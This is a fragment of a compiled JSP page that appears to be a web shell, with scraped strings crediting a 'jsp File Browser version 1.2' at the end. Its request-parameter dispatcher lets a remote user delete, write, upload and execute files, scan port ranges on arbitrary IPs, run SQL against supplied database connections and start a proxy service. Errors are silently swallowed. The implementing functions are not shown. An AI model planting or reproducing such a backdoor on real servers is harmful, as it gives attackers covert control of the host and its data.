'R':deleteFile(encodeChange(request.getParameter("Filename")),out);break; case 'K':saveFile(encodeChange(request.getParameter("filename")),request.getParameter("FileContent").getBytes("ISO-8859-1"),out);break; case 'N':renameFile(encodeChange(request.getParameter("Filename")),out);break; case 'P':copyFile(encodeChange(request.getParameter("Filename")),out);break; case 'd':dateChange(encodeChange(request.getParameter("Filename")),request.getParameter("year"),request.getParameter("month"),request.getParameter("day"),out);break; case 'r':execFile(encodeChange(request.getParameter("execFile")),out);break; case 'Z':zip(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("FolderPath")),out);break; case 'U':upfile(request,out,encodeChange(request.getParameter("UPaddress")));break; case 'n':newFolder(out,encodeChange(request.getParameter("Filename")));break; case 'A':reflectAPI(out,encodeChange(request.getParameter("Filename")));break; case 'I':scanPort(out,encodeChange(request.getParameter("IPaddress")),Integer.parseInt(request.getParameter("startPort")),Integer.parseInt(request.getParameter("endPort")));break; case 's':ConnectionDBM(out,encodeChange(request.getParameter("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));break; case 'H':switchProxyService(out);break; case 'i':userInterFaces(out);break; case 'T':systemTools(out);break; default: mainForm(WEB_SITE,out);break; } }catch(Exception e){ } out.print("</body></html>"); out.close(); } catch (Throwable t) { if (!(t instanceof SkipPageException)){ out = _jspx_out; if (out != null && out.getBufferSize() != 0) try { out.clearBuffer(); } catch (java.io.IOException e) {} if (_jspx_page_context != null) _jspx_page_context.handlePageException(t); else log(t.getMessage(), t); } } finally { _jspxFactory.releasePageContext(_jspx_page_context); } } }
Ms-Dos/Windows
Unix
Write backup
jsp File Browser version 1.2 by
www.vonloesch.de